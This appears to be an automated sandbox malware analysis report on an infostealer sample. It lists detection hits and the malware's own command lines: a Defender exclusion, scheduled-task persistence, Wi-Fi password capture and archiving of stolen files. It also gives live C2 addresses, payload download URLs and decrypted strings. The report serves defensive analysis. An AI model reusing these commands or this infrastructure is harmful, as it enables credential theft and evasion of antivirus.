51.3.u6po.0.exe.3680000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
44.2.swiiii.exe.3cb5570.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
39.2.NewB.exe.e50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.amert.exe.610000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.1CMweaqlKp.exe.730000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.explorta.exe.700000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 17 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe, ProcessId: 6676, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d361f35322.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe, ParentProcessId: 7556, ParentProcessName: file300un.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe" -Force, ProcessId: 7708, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 4076, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 352, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe, ProcessId: 6676, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d361f35322.exe

Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), frack113: Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 4076, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 352, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST, CommandLine: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe, ParentProcessId: 5772, ParentProcessName: d361f35322.exe, ProcessCommandLine: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST, ProcessId: 6180, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe" /F, CommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe" /F, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe, ParentProcessId: 2336, ParentProcessName: NewB.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe" /F, ProcessId: 8260, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 4076, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 352, ProcessName: powershell.exe

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: netsh wlan show profiles, CommandLine: netsh wlan show profiles, CommandLine|base64offset|contains: l, Image: C:\Windows\System32\netsh.exe, NewProcessName: C:\Windows\System32\netsh.exe, OriginalFileName: C:\Windows\System32\netsh.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 4076, ParentProcessName: rundll32.exe, ProcessCommandLine: netsh wlan show profiles, ProcessId: 1832, ProcessName: netsh.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 1CMweaqlKp.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: 185.215.113.67:26260	Avira URL Cloud: Label: malware
Source: http://147.45.47.102:57893/hera/amadka.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\1000021002\ac861238af.exe	Avira: detection malicious, Label: TR/AutoIt.zstul
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amert[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NewB[1].exe	Avira: detection malicious, Label: TR/Redcap.pernp

Found malware configuration

Source: 00000031.00000002.2229022734.0000000003640000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://trad-einmyus.com/index.php", "http://tradein-myus.com/index.php", "http://trade-inmyus.com/index.php"]}
Source: 00000033.00000003.2152173443.0000000003680000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://185.172.128.150/c698e1bc8a2f5e6d.php"}
Source: 39.2.NewB.exe.e50000.0.unpack	Malware Configuration Extractor: Amadey {"C2 url": "185.172.128.19/ghsdh39s/index.php", "Version": "4.12"}
Source: 40.0.jok.exe.7c0000.0.unpack	Malware Configuration Extractor: RedLine {"C2 url": ["185.215.113.67:26260"], "Bot Id": "Test1234", "Authorization Header": "bed37b7c341f364ee692c5adfa824881"}
Source: 29.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["pillowbrocccolipe.shop", "communicationgenerwo.shop", "diskretainvigorousiw.shop", "affordcharmcropwo.shop", "dismissalcylinderhostw.shop", "enthusiasimtitleow.shop", "worryfillvolcawoi.shop", "cleartotalfisherwo.shop", "affordcharmcropwo.shop"], "Build id": "LGNDR1--ketamine"}

Multi AV Scanner detection for domain / URL

Source: 185.215.113.67:26260	Virustotal: Detection: 16%	Perma Link
Source: pillowbrocccolipe.shop	Virustotal: Detection: 18%	Perma Link
Source: cleartotalfisherwo.shop	Virustotal: Detection: 18%	Perma Link
Source: http://185.172.128.150/c698e1bc8a2f5e6d.php	Virustotal: Detection: 19%	Perma Link
Source: https://affordcharmcropwo.shop/d	Virustotal: Detection: 9%	Perma Link
Source: worryfillvolcawoi.shop	Virustotal: Detection: 18%	Perma Link
Source: https://affordcharmcropwo.shop/z	Virustotal: Detection: 13%	Perma Link
Source: http://193.233.132.56/cost/lenin.exe1	Virustotal: Detection: 21%	Perma Link
Source: diskretainvigorousiw.shop	Virustotal: Detection: 18%	Perma Link
Source: communicationgenerwo.shop	Virustotal: Detection: 17%	Perma Link
Source: http://147.45.47.102:57893/hera/amadka.exe	Virustotal: Detection: 19%	Perma Link
Source: https://junglethomas.com/	Virustotal: Detection: 11%	Perma Link
Source: http://193.233.132.56/cost/go.exe	Virustotal: Detection: 25%	Perma Link
Source: affordcharmcropwo.shop	Virustotal: Detection: 17%	Perma Link
Source: http://193.233.132.56/cost/go.exemadka.ex	Virustotal: Detection: 21%	Perma Link
Source: enthusiasimtitleow.shop	Virustotal: Detection: 17%	Perma Link
Source: https://affordcharmcropwo.shop/api	Virustotal: Detection: 21%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Virustotal: Detection: 52%	Perma Link
Source: C:\Users\user\1000021002\ac861238af.exe	Virustotal: Detection: 34%	Perma Link
Source: C:\Users\user\AppData\Local\5LzADXbR9e1baIzvWufsCa70.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\5LzADXbR9e1baIzvWufsCa70.exe	Virustotal: Detection: 44%	Perma Link
Source: C:\Users\user\AppData\Local\5W1aDm1vpFLN4gyrIiISMc4h.exe	ReversingLabs: Detection: 32%
Source: C:\Users\user\AppData\Local\5W1aDm1vpFLN4gyrIiISMc4h.exe	Virustotal: Detection: 43%	Perma Link
Source: C:\Users\user\AppData\Local\8sXk5E4IG9n4ZHu2M9Littnp.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\8sXk5E4IG9n4ZHu2M9Littnp.exe	Virustotal: Detection: 72%	Perma Link
Source: C:\Users\user\AppData\Local\9SmQs0R4T5RJUISklvcv02zp.exe	ReversingLabs: Detection: 32%
Source: C:\Users\user\AppData\Local\9SmQs0R4T5RJUISklvcv02zp.exe	Virustotal: Detection: 43%	Perma Link
Source: C:\Users\user\AppData\Local\9WrQ2c2u5fxH1pcvCwwjGhdd.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\9WrQ2c2u5fxH1pcvCwwjGhdd.exe	Virustotal: Detection: 72%	Perma Link
Source: C:\Users\user\AppData\Local\Aghrmi42Lz5QvS8u8U6BiVXQ.exe	ReversingLabs: Detection: 43%
Source: C:\Users\user\AppData\Local\Aghrmi42Lz5QvS8u8U6BiVXQ.exe	Virustotal: Detection: 43%	Perma Link
Source: C:\Users\user\AppData\Local\Bkg8NSHXvizTVBsjT3dzRvci.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Bkg8NSHXvizTVBsjT3dzRvci.exe	Virustotal: Detection: 72%	Perma Link
Source: C:\Users\user\AppData\Local\C893DEcM3dAA247WrHBz1SDW.exe	ReversingLabs: Detection: 43%
Source: C:\Users\user\AppData\Local\C893DEcM3dAA247WrHBz1SDW.exe	Virustotal: Detection: 43%	Perma Link
Source: C:\Users\user\AppData\Local\CmCQsbfi77SnYQWckHTzUjRg.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\CmCQsbfi77SnYQWckHTzUjRg.exe	Virustotal: Detection: 44%	Perma Link
Source: C:\Users\user\AppData\Local\H3bqnZf96LFIOlogieo3h5K9.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\H3bqnZf96LFIOlogieo3h5K9.exe	Virustotal: Detection: 44%	Perma Link
Source: C:\Users\user\AppData\Local\KHojJ9v7XtNSHZfW6gAnnH23.exe	ReversingLabs: Detection: 32%
Source: C:\Users\user\AppData\Local\KHojJ9v7XtNSHZfW6gAnnH23.exe	Virustotal: Detection: 43%	Perma Link
Source: C:\Users\user\AppData\Local\LIdx8BlqmZTW07MQOtXboF4f.exe	ReversingLabs: Detection: 41%
Source: C:\Users\user\AppData\Local\LIdx8BlqmZTW07MQOtXboF4f.exe	Virustotal: Detection: 36%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\4767d2e713f2021e8fe856e3ea638b58[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\4767d2e713f2021e8fe856e3ea638b58[1].exe	Virustotal: Detection: 44%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NewB[1].exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NewB[1].exe	Virustotal: Detection: 84%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amert[1].exe	Virustotal: Detection: 57%	Perma Link

Multi AV Scanner detection for submitted file

Source: 1CMweaqlKp.exe	ReversingLabs: Detection: 50%
Source: 1CMweaqlKp.exe	Virustotal: Detection: 44%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\9WrQ2c2u5fxH1pcvCwwjGhdd.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\5W1aDm1vpFLN4gyrIiISMc4h.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Bkg8NSHXvizTVBsjT3dzRvci.exe	Joe Sandbox ML: detected
Source: C:\Users\user\1000021002\ac861238af.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\KHojJ9v7XtNSHZfW6gAnnH23.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sarra[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\file300un[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\9SmQs0R4T5RJUISklvcv02zp.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\5LzADXbR9e1baIzvWufsCa70.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Aghrmi42Lz5QvS8u8U6BiVXQ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\C893DEcM3dAA247WrHBz1SDW.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\8sXk5E4IG9n4ZHu2M9Littnp.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\CmCQsbfi77SnYQWckHTzUjRg.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\4767d2e713f2021e8fe856e3ea638b58[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\GIz2DLitsyoTn14REJti2nqN.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amert[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NewB[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\H3bqnZf96LFIOlogieo3h5K9.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 1CMweaqlKp.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetProcAddress
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: LoadLibraryA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: lstrcatA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: OpenEventA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CreateEventA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CloseHandle
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Sleep
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: VirtualFree
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetSystemInfo
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: VirtualAlloc
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: HeapAlloc
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetComputerNameA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: lstrcpyA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetProcessHeap
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetCurrentProcess
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: lstrlenA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: ExitProcess
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetSystemTime
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: advapi32.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: gdi32.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: user32.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: crypt32.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: ntdll.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetUserNameA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CreateDCA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetDeviceCaps
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: ReleaseDC
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: sscanf
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: VMwareVMware
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: HAL9TH
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: JohnDoe
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: DISPLAY
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: http://52.143.157.84
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: /c73eed764cc59dcb.php
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: /84bad7132df89fd7/
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: pisun
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetFileAttributesA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GlobalLock
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: HeapFree
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetFileSize
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GlobalSize
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: IsWow64Process
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Process32Next
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetLocalTime
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: FreeLibrary
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetVolumeInformationA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: Process32First
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetLocaleInfoA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetModuleFileNameA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: DeleteFileA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: FindNextFileA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: LocalFree
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: FindClose
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: LocalAlloc
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetFileSizeEx
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: ReadFile
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: SetFilePointer
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: WriteFile
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CreateFileA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: FindFirstFileA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CopyFileA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: VirtualProtect
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetLastError
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: lstrcpynA
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: MultiByteToWideChar
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GlobalFree
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: WideCharToMultiByte
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GlobalAlloc
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: OpenProcess
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: TerminateProcess
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetCurrentProcessId
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: gdiplus.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: ole32.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: bcrypt.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: wininet.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: shlwapi.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: shell32.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: psapi.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: rstrtmgr.dll
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: SelectObject
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: BitBlt
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: DeleteObject
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CreateCompatibleDC
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GdiplusStartup
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GdiplusShutdown
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GdipDisposeImage
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GdipFree
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CoUninitialize
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CoInitialize
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CoCreateInstance
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: BCryptDecrypt
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: BCryptSetProperty
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: BCryptDestroyKey
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetWindowRect
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetDesktopWindow
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: GetDC
Source: 47.2.RegAsm.exe.400000.0.unpack	String decryptor: CloseWindow
